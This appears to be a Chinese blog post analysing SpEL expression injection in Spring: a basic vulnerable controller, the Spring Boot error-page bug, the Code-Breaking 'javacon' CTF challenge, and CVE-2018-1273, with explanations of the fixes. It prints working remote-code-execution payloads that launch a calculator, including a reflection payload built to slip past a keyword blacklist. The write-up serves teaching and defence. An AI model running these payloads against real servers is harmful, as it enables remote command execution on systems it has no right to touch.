内容简介:Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。一个最基础的触发例子
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。
一个最基础的触发例子
@RequestMapping("/spel") @ResponseBody public String spel(String input){ SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(input); return expression.getValue().toString(); }
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算 2*2
,可以看到返回的值是经过解析后的 4
执行下系统命令
/spel?input=new java.lang.ProcessBuilder("calc").start()
Spring Boot SPEL表达式注入
算是一个比较早期的漏洞,影响的版本有
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
这里测试使用的是 1.2.0
的版本
<version>1.2.0.RELEASE</version>
漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo
@RequestMapping("/") public String index(String payload){ throw new IllegalStateException(payload); }
直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面
并可以看到将 payload
的值输出到了页面中,但输入一个SPEL表达式 ${xxx}
时,却会返回解析之后的值
漏洞分析
找到生成错误页面的代码断
spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101
在SpelView的render方法中打下断点
可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver)
中生成了错误页面,然后返回给result
template
就是错误页面的模板,其中也包含着几个SPEL表达式变量
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
在变量 map
里已经获取到了这几个变量的值
跟进 replacePlaceholders
函数之后可以来到 PropertyPlaceholderHelper.class:59
while循环中循环解析 ${xxx}
的表达式,例如第一个解析到 ${timestamp}
,取出中间的值,然后通过
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
跟进去看一下具体的处理方法
可以看到这里将表达式中间的值带入了SPEL表达式进行解析,然后返回了对应的值(返回前还进行了一次html编码,防止XSS
让我们来跟一下处理 ${message}
时的处理方式
可以看到在取到 ${message}
的值 propVal
之后,由于其不等于null,于是又递归进行了一次 parseStringValue
由于此时的 propVal
值为 ${2*2}
就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。
可以看到此时将 ${2*2}
解析成了4,然后返回在了页面中,从而触发了漏洞。
由于这里SPEL返回值时进行了一次html编码,所以导致取出的 ${message}
值时会进行一次转义,因此之前的payload
${new java.lang.ProcessBuilder("calc").start()}
需要进行一些小小的改动
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
漏洞补丁
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
新增了一个 NonRecursivePropertyPlaceholderHelper
类用以防止递归
测试环境为1.3.1
可以看到 SpelView
中的 helper
变成了 NonRecursivePropertyPlaceholderHelper
private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
当第一次解析的时候,可以看到
此时 placeholderResolver
的 resolver
是一个 ExpressionResolver
类型
但是当递归解析时
就被嵌套了一层,从而变成了 NonRecursivePropertyPlaceholderResolver
然后再每次解析表达式前,也增加了个判断
public String resolvePlaceholder(String placeholderName) { return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName); }
如果是 NonRecursivePlaceholderResolver
类型就直接返回null,从而停止递归解析。
Code-Breaking javacon
上学期p神的一道代码审计题,由于根本不会 java 那时候就空着了。如今回过头来发现也是一道SPEL注入题,感觉难度其实比其他 PHP 的要简单不少,但是耐不住Java的入门门槛稍高。
题目逻辑就不梳理了,看一下代码应该就能看懂,直接来看存在漏洞的部分。
@GetMapping public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { String username = userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username == null || username.toString().equals("")) { return "redirect:/login"; } model.addAttribute("name", getAdvanceValue(username.toString())); return "hello"; }
重点在 getAdvanceValue(username.toString())
中
private String getAdvanceValue(String val) { for (String keyword: keyworkProperties.getBlacklist()) { Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验
keywords: blacklist: - java.+lang - Runtime - exec.*\(
在控制器中可以看到,其实表达式的值 username
是可以通过Cookie中的 remember-me
来控制的,但是经过了一点加密。
但由于是白盒,这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了
提一句,一开始我以为页面中返回的值是 model.addAttribute
中的 name
,后来看了下html页面中发现只是打印了 ${session.username}
这里为了方便调试,将 name
的值也打印了出来
> <article> > <h2 th:text="'Hello, ' + ${session.username}"></h2> > <p>This is admin panel.</p> > <p th:text="'name: ' + ${name}"></p> > </article> >
加密的算法也在 Encryptor.java
中,我们可以通过这个来生成对应的密文
public static void main(String[] args){ String rememberMeKey = "c0dehack1nghere1"; String encryptd = Encryptor.encrypt(rememberMeKey, "0123456789abcdef", "#{2*2}"); System.out.println(encryptd); }
可以看到 name
的值确实就是传入的SPEL表达式解析之后的值
说一个自己遇到的小疑惑,之前Springboot的例子中SPEL表达式的标识符是 ${}
这个可以从代码中看到是匹配了, ${
和 }
标识的,那为什么这里的标识符是 #{}
我们可以来到解析SPEL表达式的地方,发现这里其实是多了一些东西的。
> ParserContext parserContext = new TemplateParserContext(); > Expression exp = parser.parseExpression(val, parserContext); >
这里在解析表达式的时候传入了第二个参数 parseContext
,这是个 ParserContext
类的参数,里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{}
的原因了
继续回到题解上,由于有黑名单的限制,所以之前命令执行的payload传入时会被检测到,这里来看下别的师傅的payload。
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
好吧,是有点长,看起来有点晕。从 getClass
、 forName
、 getMethod
、 invoke
这些函数可以看出是用了反射的机制。
我们可以一步一步来分析下这个payload
''.getClass() // class java.lang.String ''.getClass().forName('java.la'+'ng.Ru'+'ntime') // class java.lang.Runtime ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()) // public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime') // public static java.lang.Runtime java.lang.Runtime.getRuntime() ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null) // java.lang.Runtime@c2939a ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc') // java.lang.ProcessImpl@f2f85c
可以看到,其实整个payload就是在凑 invoke
需要的参数,通过 forName
和 getMethod
来获取 Runtime.exec
的函数和类。
这样就可以将 java.lang.Runtime
和 .exec
用字符串拼接的方式进行黑名单的绕过。最后命令执行。
这里就弹个计算器以表尊敬
CVE-2018-1273: RCE with Spring Data Commons
漏洞环境参考的 https://github.com/wearearima/poc-cve-2018-1273
漏洞POC为
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
漏洞分析
漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158
可以看到是一个很明显的SPEL表达式的注入。
查看调用栈可以发现,此处应该是一个 Data Commons
自动化绑定传入参数的操作。
@Override protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception { MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap())); return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget()); }
可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue
就是在设置参数的值。
把传入参数的key值取出然后进行了SPEL表达式的解析。
从而触发了漏洞。
漏洞修复
可以看到将之前的 StandardEvaluationContext
替换成了 SimpleEvaluationContext
SimpleEvaluationContext
对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构。
再次执行POC时可以看到,虽然参数还是传入了 context
中,但是执行 setValue
的时候会抛出异常,从而无法进行攻击。
References
- https://wsygoogol.github.io/2016/07/15/Spring-Boot%E6%A1%86%E6%9E%B6SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
- https://www.cnblogs.com/litlife/archive/2018/12/27/10183137.html
- https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
- https://blog.csdn.net/fnmsd/article/details/84556522
- http://blog.nsfocus.net/cve-2018-1273-analysis/
- https://www.melodia.pw/?p=959
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 由浅入深SpEL表达式注入漏洞
- 深入 Spring Boot:那些注入不了的 Spring 占位符(${}表达式)
- 正则表达式 – 如何使用正则表达式进行Erlang模式匹配?
- lambda表达式
- 表达式 / 语句
- Python正则表达式
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Music Recommendation and Discovery
Òscar Celma / Springer / 2010-9-7 / USD 49.95
With so much more music available these days, traditional ways of finding music have diminished. Today radio shows are often programmed by large corporations that create playlists drawn from a limited......一起来看看 《Music Recommendation and Discovery》 这本书的介绍吧!